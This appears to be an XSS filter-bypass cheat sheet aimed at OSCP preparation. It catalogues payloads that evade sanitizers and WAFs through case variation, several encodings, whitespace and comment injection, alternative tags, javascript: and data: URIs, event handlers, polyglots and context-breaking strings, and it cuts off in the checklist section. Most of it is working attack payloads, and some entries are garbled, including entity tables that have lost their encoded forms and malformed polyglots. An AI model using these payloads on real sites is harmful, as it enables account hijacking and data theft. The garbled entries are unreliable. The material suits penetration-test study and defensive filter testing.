XSS Filtering Bypass Techniques
Table of Contents
- Why Filters Fail: Fundamental Principles
- Case Variation Techniques
- Encoding-Based Bypasses
- No-Quote and No-Closing-Tag Techniques
- Whitespace Injection
- Alternative HTML Tags
- Protocol-Based Bypasses
- Event Handler Variations
- Polyglot XSS Payloads
- Context-Breaking Techniques
- Comprehensive Bypass Checklist
- Ultimate Polyglot Payloads
- OSCP-Specific Tips
1. Why Filters Fail: Fundamental Principles
The Core Problem
XSS filters attempt to sanitize or block malicious input, but they fundamentally struggle because:
- HTML/JavaScript is ambiguous — The same payload can be interpreted differently by the filter (running regex/string matching) and the browser (running a full HTML/JS parser).
- Multiple valid representations — A single malicious intent can be expressed in dozens of syntactically different ways.
- Context matters — The same string is benign in one context and malicious in another.
- Filters are usually blacklists — They try to block known bad patterns rather than whitelist known good patterns, which is inherently incomplete.
The Browser vs. Filter Mismatch
User Input → [Filter/Regex] → Sanitized Output → [Browser HTML/JS Parser] → Rendered Page
↑ ↑
Simple string match Full spec-compliant parser
(often incomplete) (understands encoding, context)
The filter sees the input as a flat string. The browser parses it through multiple layers:
- URL decoder
- HTML entity decoder
- HTML tag parser
- Attribute parser
- JavaScript engine
Key Insight: If the filter and the browser decode/parse differently, a bypass exists.
Filter Types You’ll Encounter
| Filter Type | How It Works | Weakness |
|---|---|---|
| Regex-based | Matches patterns like <script, onerror=, javascript: |
Case variation, encoding, whitespace injection |
| String replacement | Replaces < with <, etc. |
Double encoding, alternative tags |
| DOMPurify / sanitizers | Parses DOM and removes dangerous nodes | Attribute-based XSS, SVG, mathML |
| WAF (ModSecurity, etc.) | Rule-based inspection of requests | Polyglots, encoding, parameter pollution |
| Output encoding | Encodes output before rendering | Context mismatch, double decoding |
The Bypass Mindset
- Identify the context — Where is your input reflected? (HTML body, attribute, JS, URL, CSS?)
- Identify what’s blocked — Test basic payloads to see what gets filtered.
- Find the gap — What representation of the same payload does the filter NOT catch?
- Chain techniques — Combine multiple bypass methods for complex filters.
2. Case Variation Techniques
How It Works
Many filters use case-sensitive string matching. HTML and JavaScript are largely case-insensitive, so varying the case can bypass naive filters.
Basic Case Variation
<!-- Filter blocks: <script> -->
<!-- Bypass with mixed case: -->
<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>
<script>alert(1)</script>
Event Handler Case Variation
<!-- Filter blocks: onerror= -->
<img src=x OnErRoR=alert(1)>
<img src=x ONERROR=alert(1)>
<img src=x onerror=alert(1)>
Tag Name Case Variation
<SVG/onload=alert(1)>
<svg/ONLOAD=alert(1)>
<SvG/oNlOaD=alert(1)>
JavaScript Function Case Variation
<img src=x onerror=ALERT(1)>
<img src=x onerror=Alert(1)>
<img src=x onerror=aLeRt(1)>
When to Use
- Filter uses case-sensitive regex (e.g.,
/<script/iNOT used, just/<script/) - WAF rules that don’t normalize case before matching
- Quick first attempt — always try mixed case before more complex techniques
OSCP Tip
On OSCP machines, many custom filters are case-sensitive. Always try
<ScRiPt>before moving to encoding techniques.
3. Encoding-Based Bypasses
HTML Entity Encoding
How It Works
HTML entities are decoded by the browser’s HTML parser. If the filter operates on the raw string before HTML parsing, encoded characters bypass the filter.
Named Entities
<!-- Decimal entities -->
<script>alert(1)</script>
<!-- Named: < = < > = > " = " ' = ' & = & -->
<!-- Hex entities -->
<script>alert(1)</script>
<!-- < = < > = > -->
<!-- Named entities (limited set) -->
<script>alert(1)</script>
Common Character Encodings Reference
| Character | Decimal | Hex | Named |
|---|---|---|---|
< |
< |
< |
< |
> |
> |
> |
> |
" |
" |
" |
" |
' |
' |
' |
' |
& |
& |
& |
& |
/ |
/ |
/ |
— |
\ |
\ |
\ |
— |
` |
` |
` |
— |
= |
= |
= |
— |
( |
( |
( |
— |
) |
) |
) |
— |
| space |   |
  |
|
Partial Encoding (Selective Encoding)
Encode only the characters the filter is looking for:
<!-- Filter blocks: <script -->
<!-- Encode just the angle brackets: -->
<script>alert(1)</script>
<!-- Filter blocks: onerror -->
<img src=x onerror=alert(1)>
<!-- 'e' = e -->
<!-- Filter blocks: alert -->
<img src=x onerror=alert(1)>
<!-- 'a' = a -->
Encoding in Attributes
<!-- In attribute context, entities are decoded: -->
<a href="javascript:alert(1)">Click</a>
<!-- ':' = : -->
<div style="width:100px">Test</div>
When to Use
- Filter blocks literal
<,>, or specific keywords - Input is reflected in HTML body or attribute context
- Server does NOT re-encode HTML entities before output
URL Encoding
How It Works
URL encoding (percent-encoding) replaces special characters with % followed by two hex digits. If the server decodes the URL parameter before processing but the filter runs on the encoded string, bypass is possible.
Basic URL Encoding
<script>alert(1)</script>
→ %3Cscript%3Ealert(1)%3C/script%3E
Common URL Encodings
| Character | URL Encoded |
|---|---|
< |
%3C |
> |
%3E |
" |
%22 |
' |
%27 |
& |
%26 |
= |
%3D |
( |
%28 |
) |
%29 |
| space | %20 or + |
/ |
%2F |
\ |
%5C |
` |
%60 |
# |
%23 |
{ |
%7B |
} |
%7D |
URL Encoding in Different Contexts
<!-- Query parameter (server decodes before reflection): -->
?vuln=%3Cscript%3Ealert(1)%3C/script%3E
<!-- In href attribute: -->
<a href="javascript%3Aalert(1)">Click</a>
<!-- Full payload encoding: -->
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
When to Use
- Input comes from URL query parameters
- Server decodes URL parameters before outputting
- Filter runs on the raw (encoded) request
Double URL Encoding
How It Works
Double encoding applies URL encoding twice. If the server/framework decodes URL parameters multiple times (or the filter decodes once but the browser decodes again), the payload survives.
Original: <script>alert(1)</script>
1st encode: %3Cscript%3Ealert(1)%3C/script%3E
2nd encode: %253Cscript%253Ealert(1)%253C/script%253E
The % itself is encoded as %25, so %3C becomes %253C.
Double Encoding Examples
<!-- Double encoded <img> tag: -->
%253Cimg%2520src%253Dx%2520onerror%253Dalert%25281%2529%253E
<!-- Double encoded <script>: -->
%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E
<!-- Double encoded event handler: -->
%253Csvg%2520onload%253Dalert%25281%2529%253E
When to Use
- IIS / ASP applications (historically double-decoded)
- Frameworks that decode URL parameters multiple times
- WAFs that decode once but the application decodes again
- When single encoding is detected and blocked
Unicode Encoding
How It Works
Unicode escape sequences can represent any character. JavaScript supports \uXXXX syntax, and some contexts accept Unicode equivalents of ASCII characters.
JavaScript Unicode Escapes
// \u0061 = 'a', \u006C = 'l', etc.
<img src=x onerror=\u0061\u006C\u0065\u0072\u0074(1)>
// Full alert(1) in unicode:
\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029
Unicode in HTML Context
<!-- Using Unicode in attribute values: -->
<img src=x onerror="alert(1)">
<!-- Overlong UTF-8 sequences (advanced): -->
<!-- Some parsers accept overlong encodings that WAFs might miss -->
When to Use
- Filter blocks ASCII keywords but not Unicode escapes
- JavaScript context where
\uXXXXis evaluated - WAF that doesn’t normalize Unicode before inspection
Hex Encoding
How It Works
Hex encoding represents characters as \xHH. JavaScript’s String.fromCharCode() and template contexts can interpret hex values.
JavaScript Hex in Strings
// Using String.fromCharCode with hex values:
String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74)
// = "alert"
// Full payload:
eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))
Hex in HTML Entities
<!-- Hex HTML entities (already covered above, but worth reiterating): -->
<img src=x onerror=alert(1)>
When to Use
- Filter blocks literal JavaScript function names
- You can inject into a JavaScript string context
eval()or similar execution context is available
Base64 Encoding
How It Works
Base64 encoding can be used in data: URIs and JavaScript atob()/btoa() functions to obfuscate payloads.
Data URI with Base64
<!-- HTML payload encoded in Base64: -->
<!-- <script>alert(1)</script> → PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<!-- SVG with Base64: -->
<svg><script href="data:text/html;base64,YWxlcnQoMSk="></script></svg>
JavaScript atob()
// Decode and execute Base64:
eval(atob('YWxlcnQoMSk='))
// 'YWxlcnQoMSk=' = base64 of 'alert(1)'
// Combined with event handler:
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
Common Base64 Encodings
| Payload | Base64 |
|---|---|
alert(1) |
YWxlcnQoMSk= |
<script>alert(1)</script> |
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== |
document.cookie |
ZG9jdW1lbnQuY29va2ll |
prompt(1) |
cHJvbXB0KDEp |
confirm(1) |
Y29uZmlybSgxKQ== |
When to Use
- Filter blocks direct JavaScript but allows
data:URIs iframeorobjecttags are not filtered- You need to obfuscate the entire payload
4. No-Quote and No-Closing-Tag Techniques
No-Quote Techniques
How It Works
Many filters require quotes around attribute values. HTML allows unquoted attributes in many cases, so you can construct payloads without any quote characters.
Unquoted Attribute Values
<!-- Standard (with quotes): -->
<img src="x" onerror="alert(1)">
<!-- No quotes (space-delimited): -->
<img src=x onerror=alert(1)>
<!-- Works because space terminates the attribute value: -->
<tag attr=value1 attr2=value2>
No-Quote in Different Contexts
<!-- In href: -->
<a href=javascript:alert(1)>Click</a>
<!-- In style: -->
<div style=background:url(javascript:alert(1))>
<!-- In form action: -->
<form action=javascript:alert(1)><input type=submit>
When Quotes Are Blocked Entirely
<!-- If ' and " are both blocked: -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<!-- Using backtick in some contexts: -->
<img src=x onerror=`alert(1)`>
<!-- Note: backtick support varies by browser/context -->
No-Closing-Tag Techniques
How It Works
Many HTML tags are self-closing or don’t require closing tags. You can trigger XSS without ever closing a tag.
Void Elements (No Closing Tag Needed)
<!-- These tags never need closing: -->
<img src=x onerror=alert(1)>
<input onfocus=alert(1) autofocus>
<br onanimationend=alert(1)>
<hr onanimationend=alert(1)>
Self-Closing with Forward Slash
<img src=x onerror=alert(1) />
<br />
<hr />
<input />
Tags That Execute Without Closing
<!-- SVG executes onload without closing: -->
<svg onload=alert(1)>
<!-- Body executes onload: -->
<body onload=alert(1)>
<!-- Details (HTML5) executes on toggle: -->
<details ontoggle=alert(1) open>
<!-- Marquee executes on start: -->
<marquee onstart=alert(1)>
When to Use
- Filter blocks
</script>or>in certain positions - Filter requires closing tags to be present
- Output context doesn’t allow full tag structure
5. Whitespace Injection
Null Bytes
How It Works
Null bytes (\0 or %00) can be inserted between characters. Some parsers ignore null bytes while filters may not handle them consistently.
Null Byte Examples
<!-- Null byte in tag name: -->
<scr\0ipt>alert(1)</script>
<!-- Null byte in attribute: -->
<img src=x on\0error=alert(1)>
<!-- Null byte in function name: -->
<img src=x onerror=al\0ert(1)>
<!-- URL encoded null byte: -->
<img src=x on%00error=alert(1)>
When to Use
- Legacy applications (PHP < 5.3, old IIS)
- Filters that don’t strip null bytes before processing
- Note: Modern browsers and servers often strip null bytes, so this is less reliable today
Tabs and Newlines
How It Works
HTML allows various whitespace characters (tabs \t, newlines \n, carriage returns \r, form feeds \f) in many positions. Filters may not account for all whitespace variants.
Tab Injection
<!-- Tab in tag name: -->
<scr ipt>alert(1)</script>
<!-- Tab in attribute name: -->
<img src=x onerror =alert(1)>
<!-- Tab between tag and attribute: -->
<img src=x onerror=alert(1)>
Newline Injection
<!-- Newline in tag: -->
<scr
ipt>alert(1)</script>
<!-- Newline in attribute: -->
<img src=x
onerror=alert(1)>
<!-- Carriage return + newline: -->
<img src=x
onerror=alert(1)>
Mixed Whitespace
<!-- Mix of spaces, tabs, newlines: -->
<img src=x
onerror=alert(1)>
<!-- In URL encoding: -->
%3Cimg%0Asrc%3Dx%09onerror%3Dalert(1)%3E
<!-- %0A = newline, %09 = tab -->
Whitespace Characters Reference
| Character | HTML | URL Encoded | Hex |
|---|---|---|---|
| Space | |
%20 |
0x20 |
| Tab | \t |
%09 |
0x09 |
| Newline (LF) | \n |
%0A |
0x0A |
| Carriage Return (CR) | \r |
%0D |
0x0D |
| Form Feed | \f |
%0C |
0x0C |
When to Use
- Filter uses regex that doesn’t account for whitespace in tags/attributes
- WAF rules that expect tight patterns without whitespace
- Line-length limits that can be broken with newlines
HTML Comments
How It Works
HTML comments (<!-- -->) can be inserted within tags and attributes in some browser implementations, breaking filter patterns.
Comment Injection in Tags
<!-- Comment in tag name: -->
<scr<!--comment-->ipt>alert(1)</script>
<!-- Comment in attribute: -->
<img src=x on<!--comment-->error=alert(1)>
<!-- Comment between tag and attribute: -->
<img<!--comment-->src=x onerror=alert(1)>
<!-- Multiple comments: -->
<im<!--1-->g<!--2--> src=x on<!--3-->error=alert(1)>
When to Use
- Filter looks for exact tag/attribute names
- Regex-based filters that don’t account for comments
- Note: Browser support for comments within tags varies; test in target environment
6. Alternative HTML Tags
Why Alternative Tags Matter
Filters often focus on <script>, <img>, and <iframe>. Many other HTML tags support event handlers or can execute JavaScript.
SVG (Scalable Vector Graphics)
<!-- Basic SVG with onload: -->
<svg onload=alert(1)>
<!-- SVG with animate: -->
<svg><animate attributeName=x dur=1s begin=0s repeatCount=indefinite onend=alert(1)>
<!-- SVG with script: -->
<svg><script>alert(1)</script></svg>
<!-- SVG with foreignObject: -->
<svg><foreignObject><div onclick=alert(1)>Click</div></foreignObject></svg>
<!-- SVG with set: -->
<svg><set onbegin=alert(1) attributeName=x to=1>
iframe
<!-- Basic iframe: -->
<iframe src=javascript:alert(1)></iframe>
<!-- iframe with srcdoc: -->
<iframe srcdoc=<img src=x onerror=alert(1)>></iframe>
<!-- iframe with data URI: -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<!-- iframe with onload: -->
<iframe onload=alert(1)></iframe>
body
<!-- Body onload: -->
<body onload=alert(1)>
<!-- Body with background: -->
<body background="javascript:alert(1)">
<!-- Body with bgcolor expression (IE): -->
<body bgcolor="expression(alert(1))">
marquee
<!-- Marquee onstart: -->
<marquee onstart=alert(1)>
<!-- Marquee with width expression: -->
<marquee width=0 onfinish=alert(1)>Test</marquee>
details (HTML5)
<!-- Details ontoggle: -->
<details ontoggle=alert(1) open>
<summary>Click me</summary>
</details>
<!-- Auto-toggle: -->
<details ontoggle=alert(1) open>
video / audio
<!-- Video with various events: -->
<video><source onerror=alert(1)>
<video onabort=alert(1) src=x>
<video oncanplay=alert(1)><source src=valid.mp4>
<video onerror=alert(1)><source>
<!-- Audio: -->
<audio onerror=alert(1) src=x>
<audio><source onerror=alert(1)>
math (MathML)
<!-- MathML with script: -->
<math><mtext><table><mglyph><script>alert(1)</script></math>
<!-- MathML with foreignObject: -->
<math><mtext><foreignObject><script>alert(1)</script></math>
object / embed
<!-- Object tag: -->
<object data=javascript:alert(1)>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<!-- Embed tag: -->
<embed src=javascript:alert(1)>
<embed src="data:text/html,<script>alert(1)</script>">
form / input
<!-- Form action: -->
<form action=javascript:alert(1)><input type=submit>
<!-- Input autofocus: -->
<input autofocus onfocus=alert(1)>
<!-- Input onchange: -->
<input onfocus=alert(1) autofocus>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
Other Tags with Event Handlers
<!-- base: -->
<base href=javascript:alert(1)//>
<!-- link: -->
<link rel=icon href=javascript:alert(1)>
<!-- meta: -->
<meta http-equiv=refresh content="0;url=javascript:alert(1)">
<!-- style: -->
<style>@import 'javascript:alert(1)';</style>
<!-- table: -->
<table background="javascript:alert(1)">
<!-- div with expression (IE): -->
<div style="width: expression(alert(1))">
<!-- progress: -->
<progress onmouseover=alert(1)>
<!-- meter: -->
<meter onmouseover=alert(1)>
<!-- button: -->
<button onclick=alert(1)>Click</button>
<!-- keygen (deprecated but still works in some browsers): -->
<keygen autofocus onfocus=alert(1)>
Complete Alternative Tags Reference Table
| Tag | Event/Attribute | Payload |
|---|---|---|
<svg> |
onload |
<svg onload=alert(1)> |
<iframe> |
src=javascript: |
<iframe src=javascript:alert(1)> |
<body> |
onload |
<body onload=alert(1)> |
<marquee> |
onstart |
<marquee onstart=alert(1)> |
<details> |
ontoggle |
<details ontoggle=alert(1) open> |
<video> |
onerror |
<video><source onerror=alert(1)> |
<audio> |
onerror |
<audio onerror=alert(1) src=x> |
<input> |
onfocus |
<input autofocus onfocus=alert(1)> |
<form> |
action |
<form action=javascript:alert(1)><input type=submit> |
<object> |
data |
<object data=javascript:alert(1)> |
<embed> |
src |
<embed src=javascript:alert(1)> |
<math> |
nested script | <math><mtext><table><mglyph><script>alert(1)</script></math> |
<button> |
onclick |
<button onclick=alert(1)>Click</button> |
<select> |
onfocus |
<select autofocus onfocus=alert(1)> |
<textarea> |
onfocus |
<textarea autofocus onfocus=alert(1)> |
7. Protocol-Based Bypasses
javascript: Protocol
How It Works
The javascript: URI scheme executes JavaScript code. It can be used in href, src, action, and other URL-accepting attributes.
Basic Usage
<a href=javascript:alert(1)>Click</a>
<iframe src=javascript:alert(1)></iframe>
<form action=javascript:alert(1)><input type=submit>
<object data=javascript:alert(1)>
<embed src=javascript:alert(1)>
Bypassing javascript: Filters
<!-- Case variation: -->
<a href=JaVaScRiPt:alert(1)>Click</a>
<!-- URL encoding: -->
<a href=javascript%3Aalert(1)>Click</a>
<!-- HTML entity encoding: -->
<a href=javascript:alert(1)>Click</a>
<!-- Newline before colon: -->
<a href=javascript
:alert(1)>Click</a>
<!-- Tab before colon: -->
<a href=javascript :alert(1)>Click</a>
<!-- Null byte (legacy): -->
<a href=javascript%00:alert(1)>Click</a>
<!-- Using expression (IE): -->
<a href=expression(alert(1))>Click</a>
<!-- Using vbscript (IE): -->
<a href=vbscript:msgbox(1)>Click</a>
javascript: in Different Contexts
<!-- In location: -->
window.location = "javascript:alert(1)";
<!-- In anchor: -->
document.createElement('a').href = 'javascript:alert(1)';
<!-- In window.open: -->
window.open('javascript:alert(1)');
data: Protocol
How It Works
The data: URI scheme embeds data directly in a URL. It can carry HTML, JavaScript, images, and other content types.
Basic Usage
<!-- HTML data URI: -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<!-- HTML with Base64: -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<!-- SVG data URI: -->
<img src="data:image/svg+xml,<svg onload=alert(1)>">
<!-- SVG with URL encoding: -->
<img src="data:image/svg+xml,%3Csvg%20onload%3Dalert(1)%3E">
<!-- JSONP-style: -->
<iframe src="data:text/html;charset=utf-8,<script>alert(1)</script>">
Bypassing data: Filters
<!-- Case variation: -->
<iframe src=DATA:text/html,<script>alert(1)</script>>
<!-- URL encoding the scheme: -->
<iframe src=data%3Atext/html,<script>alert(1)</script>>
<!-- With newlines: -->
<iframe src="data:text/html,
<script>alert(1)</script>">
<!-- Minimal MIME type: -->
<iframe src="data:,<script>alert(1)</script>">
vbscript: Protocol (IE Only)
How It Works
Internet Explorer supports the vbscript: URI scheme for executing VBScript code.
<a href=vbscript:msgbox(1)>Click</a>
<a href="vbscript:execute("msgbox(1)")">Click</a>
Note: Only relevant for legacy IE targets. Not applicable to modern browsers.
8. Event Handler Variations
Complete Event Handler Reference
Here are 30+ event handlers that can execute JavaScript, organized by category:
Mouse Events
| Event | Description | Example |
|---|---|---|
onclick |
Mouse click | <div onclick=alert(1)>Click</div> |
ondblclick |
Double click | <div ondblclick=alert(1)>Double</div> |
onmousedown |
Mouse button down | <div onmousedown=alert(1)>Press</div> |
onmouseup |
Mouse button up | <div onmouseup=alert(1)>Release</div> |
onmouseover |
Mouse enters element | <div onmouseover=alert(1)>Hover</div> |
onmouseout |
Mouse leaves element | <div onmouseout=alert(1)>Leave</div> |
onmousemove |
Mouse moves over element | <div onmousemove=alert(1)>Move</div> |
onmouseenter |
Mouse enters (no bubble) | <div onmouseenter=alert(1)>Enter</div> |
onmouseleave |
Mouse leaves (no bubble) | <div onmouseleave=alert(1)>Leave</div> |
oncontextmenu |
Right-click | <div oncontextmenu=alert(1)>Right</div> |
Keyboard Events
| Event | Description | Example |
|---|---|---|
onkeydown |
Key pressed down | <input onkeydown=alert(1)> |
onkeyup |
Key released | <input onkeyup=alert(1)> |
onkeypress |
Key pressed | <input onkeypress=alert(1)> |
Focus Events
| Event | Description | Example |
|---|---|---|
onfocus |
Element gains focus | <input autofocus onfocus=alert(1)> |
onblur |
Element loses focus | <input autofocus onblur=alert(1)> |
onfocusin |
Focus enters (bubbles) | <input autofocus onfocusin=alert(1)> |
onfocusout |
Focus leaves (bubbles) | <input autofocus onfocusout=alert(1)> |
Form Events
| Event | Description | Example |
|---|---|---|
onchange |
Value changed | <input onchange=alert(1)> |
oninput |
Input received | <input oninput=alert(1)> |
onsubmit |
Form submitted | <form onsubmit=alert(1)><input type=submit> |
onreset |
Form reset | <form onreset=alert(1)><input type=reset> |
onselect |
Text selected | <input value=selectme onselect=alert(1)> |
oninvalid |
Validation failed | <input required oninvalid=alert(1) value=x> |
Document / Window Events
| Event | Description | Example |
|---|---|---|
onload |
Resource loaded | <body onload=alert(1)> |
onunload |
Page unloading | <body onunload=alert(1)> |
onbeforeunload |
Before unload | <body onbeforeunload=alert(1)> |
onerror |
Error occurred | <img src=x onerror=alert(1)> |
onresize |
Window resized | <body onresize=alert(1)> |
onscroll |
Element scrolled | <div style=height:100px;overflow:scroll;onscroll=alert(1)> |
onhashchange |
Hash changed | (on window) |
Media Events
| Event | Description | Example |
|---|---|---|
onplay |
Media started | <video onplay=alert(1)><source src=valid.mp4> |
onpause |
Media paused | <video onpause=alert(1)> |
onended |
Media ended | <video onended=alert(1)><source src=valid.mp4> |
onvolumechange |
Volume changed | <video onvolumechange=alert(1)> |
oncanplay |
Can play media | <video oncanplay=alert(1)><source src=valid.mp4> |
onseeked |
Seeking completed | <video onseeked=alert(1)> |
onstalled |
Media stalled | <video onstalled=alert(1)> |
onsuspend |
Media suspended | ` |
onwaiting |
Media waiting | <video onwaiting=alert(1)> |
onloadeddata |
Data loaded | <video onloadeddata=alert(1)> |
onloadedmetadata |
Metadata loaded | <video onloadedmetadata=alert(1)> |
ontimeupdate |
Time updated | <video ontimeupdate=alert(1)> |
Animation / Transition Events
| Event | Description | Example |
|---|---|---|
onanimationstart |
Animation started | <div style=animation:x;onanimationstart=alert(1)> |
onanimationend |
Animation ended | <br onanimationend=alert(1)> |
onanimationiteration |
Animation iterated | <div onanimationiteration=alert(1)> |
ontransitionend |
Transition ended | <div ontransitionend=alert(1)> |
Drag Events
| Event | Description | Example |
|---|---|---|
ondrag |
Element dragged | <div draggable=true ondrag=alert(1)> |
ondragstart |
Drag started | <div draggable=true ondragstart=alert(1)> |
ondragend |
Drag ended | <div draggable=true ondragend=alert(1)> |
ondragover |
Drag over element | <div ondragover=alert(1)> |
ondragenter |
Drag entered | <div ondragenter=alert(1)> |
ondragleave |
Drag left | <div ondragleave=alert(1)> |
ondrop |
Dropped on element | <div ondrop=alert(1)> |
Clipboard Events
| Event | Description | Example |
|---|---|---|
oncopy |
Copy action | <input value=x oncopy=alert(1) autofocus> |
oncut |
Cut action | <input value=x oncut=alert(1) autofocus> |
onpaste |
Paste action | <input onpaste=alert(1) autofocus> |
Other Useful Events
| Event | Description | Example |
|---|---|---|
ontoggle |
Details toggled | <details ontoggle=alert(1) open> |
onsearch |
Search value changed | <input type=search onsearch=alert(1)> |
onwheel |
Mouse wheel | <div onwheel=alert(1)>Scroll</div> |
onpointerover |
Pointer entered | <div onpointerover=alert(1)> |
onmessage |
Message received | (on window/workers) |
Auto-Triggering Event Handlers (No User Interaction)
These are the most valuable for OSCP because they fire automatically:
<!-- onload - fires when resource loads -->
<body onload=alert(1)>
<svg onload=alert(1)>
<iframe onload=alert(1)>
<!-- onerror - fires when resource fails to load -->
<img src=x onerror=alert(1)>
<object data=x onerror=alert(1)>
<!-- autofocus + onfocus - fires when page loads -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<!-- oninput - fires on input (with value) -->
<input value=x oninput=alert(1)>
<!-- ontoggle - fires when details is open -->
<details ontoggle=alert(1) open>
<!-- onpageshow - fires when page is shown -->
<body onpageshow=alert(1)>
9. Polyglot XSS Payloads
What is a Polyglot?
A polyglot XSS payload is a single string that works as valid code in multiple contexts simultaneously. It exploits the ambiguity between HTML, JavaScript, CSS, and other parsers.
Why Polyglots Matter
When you don’t know the injection context, a polyglot maximizes your chances of success across:
- HTML body context
- HTML attribute context
- JavaScript string context
- JavaScript code context
- CSS context
- URL context
Polyglot #1: The Classic Multi-Context Payload
';alert(1);//
How it works in different contexts:
| Context | Input | Result |
|---|---|---|
| JS string | var x = "';alert(1);//"; |
Closes string, executes alert, comments out rest |
| HTML attribute | onclick="';alert(1);//" |
Closes attr, executes on click |
| JS code | ';alert(1);// |
Syntax error on ', but alert(1) executes |
Polyglot #2: HTML/JS Hybrid
"><script>alert(1)</script>
How it works:
| Context | Input | Result |
|---|---|---|
| HTML attribute | value=""><script>alert(1)</script> |
Closes attribute, opens script tag |
| HTML body | "><script>alert(1)</script> |
Garbage "> then valid script |
Polyglot #3: The Ultimate Polyglot (by Mario Heiderich)
jaVasCrIp:/*'/*"/*`/*/--><svg/onload=alert(1)>
This payload works in:
- JavaScript context (commented out, no error)
- HTML context (SVG executes)
- Attribute context (comments absorb the quotes)
Polyglot #4: The 4-Context Polyglot
'"`><script>alert(1)</script>
Works in:
- Single-quoted string context
- Double-quoted string context
- Backtick (template literal) context
- HTML body context
Polyglot #5: Event Handler Polyglot
" autofocus onfocus=alert(1) //
How it works:
| Context | Input | Result |
|---|---|---|
| Double-quoted attr | value="" autofocus onfocus=alert(1) //" |
Closes attr, adds new attrs, comments rest |
| HTML body | " autofocus onfocus=alert(1) // |
Text content, no execution |
Polyglot #6: The JavaScript-First Polyglot
javascript:/*--></title></style></textarea></script></noembed><svg/onload=alert(1)>
How it works:
- Closes any open HTML tags that might block execution
- Works as
javascript:URI - Works as HTML with SVG fallback
Polyglot #7: The Comment-Based Polyglot
--><img src=x onerror=alert(1)><!--
How it works:
- Closes any open HTML comment with
--> - Injects the XSS payload
- Opens a new comment to hide trailing content
Polyglot #8: The Expression Polyglot (IE)
expression(alert(1))
Works in CSS style attributes in Internet Explorer:
<div style="width: expression(alert(1))">
Polyglot #9: The SVG Data URI Polyglot
data:text/html,<svg/onload=alert(1)>
Works as:
- Data URI in iframe/object/embed src
- Direct navigation
- Combined with other techniques
Polyglot #10: The JavaScript String Escape Polyglot
\';alert(1);//
Works when injected into:
var x = '\';alert(1);//';
The \' escapes the closing quote, alert(1) executes, // comments out the rest.
10. Context-Breaking Techniques
Understanding Injection Contexts
Before breaking context, identify where your input lands:
| Context | Example | Breaking Strategy |
|---|---|---|
| HTML body | <div>USER_INPUT</div> |
Direct tag injection |
| HTML attribute (double quote) | <div title="USER_INPUT"> |
Close quote, add attribute |
| HTML attribute (single quote) | <div title='USER_INPUT'> |
Close quote, add attribute |
| HTML attribute (no quote) | <div title=USER_INPUT> |
Space + new attribute |
| JavaScript string (double quote) | var x = "USER_INPUT"; |
Close string, inject JS |
| JavaScript string (single quote) | var x = 'USER_INPUT'; |
Close string, inject JS |
| JavaScript string (backtick) | var x = `USER_INPUT`; |
Close template, inject JS |
| JavaScript code | var x = USER_INPUT; |
Direct JS injection |
| URL parameter | ?q=USER_INPUT |
URL encoding + context break |
| CSS | style="USER_INPUT" |
CSS expression / import |
HTML Body Context
<!-- Input reflected in: <div>YOUR_INPUT</div> -->
<!-- Direct injection: -->
<script>alert(1)</script>
<!-- With tag breaking: -->
</div><script>alert(1)</script>
<!-- Alternative tags: -->
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
HTML Attribute Context (Double Quotes)
<!-- Input reflected in: <div title="YOUR_INPUT"> -->
<!-- Close quote, add event handler: -->
" onmouseover="alert(1)
<!-- Close quote, add new attribute: -->
" onclick="alert(1) x="
<!-- Close tag, inject new tag: -->
"><script>alert(1)</script><div title="
<!-- Using autofocus: -->
" autofocus onfocus="alert(1) x="
HTML Attribute Context (Single Quotes)
<!-- Input reflected in: <div title='YOUR_INPUT'> -->
<!-- Close quote, add event handler: -->
' onmouseover='alert(1)
<!-- Close quote, add new attribute: -->
' onclick='alert(1) x='
<!-- Close tag, inject new tag: -->
'><script>alert(1)</script><div title='
HTML Attribute Context (No Quotes)
<!-- Input reflected in: <div title=YOUR_INPUT> -->
<!-- Space + new attribute: -->
onmouseover=alert(1)
<!-- Break out with >: -->
><script>alert(1)</script>
<!-- New attribute with value: -->
onclick=alert(1)
JavaScript String Context (Double Quotes)
// Input reflected in: var x = "YOUR_INPUT";
// Close string, execute, comment out:
"; alert(1); //
// Close string, execute with semicolon:
"; alert(1); "
// Using backslash escape:
\"; alert(1); //
JavaScript String Context (Single Quotes)
// Input reflected in: var x = 'YOUR_INPUT';
// Close string, execute, comment out:
'; alert(1); //
// Close string, execute:
'; alert(1); '
JavaScript String Context (Backtick / Template Literal)
// Input reflected in: var x = `YOUR_INPUT`;
// Close template, execute:
`; alert(1); //
// Template expression:
`${alert(1)}`
JavaScript Code Context
// Input reflected in: var x = YOUR_INPUT;
// Direct execution:
alert(1)
// With semicolon:
;alert(1)//
// Chained:
1;alert(1)
CSS Context
/* Input reflected in: <div style="YOUR_INPUT"> */
/* IE expression: */
x:expression(alert(1))
/* Import: */
background:url(javascript:alert(1))
/* Modern CSS (limited): */
animation-name:alert(1)
URL Context
<!-- Input reflected in URL: ?q=YOUR_INPUT -->
<!-- javascript: protocol: -->
javascript:alert(1)
<!-- data: protocol: -->
data:text/html,<script>alert(1)</script>
<!-- URL-encoded payload: -->
%3Cscript%3Ealert(1)%3C/script%3E
11. Comprehensive Bypass Checklist
Phase 1: Reconnaissance
- Identify the injection context — Where is input reflected?
- Test basic payloads —
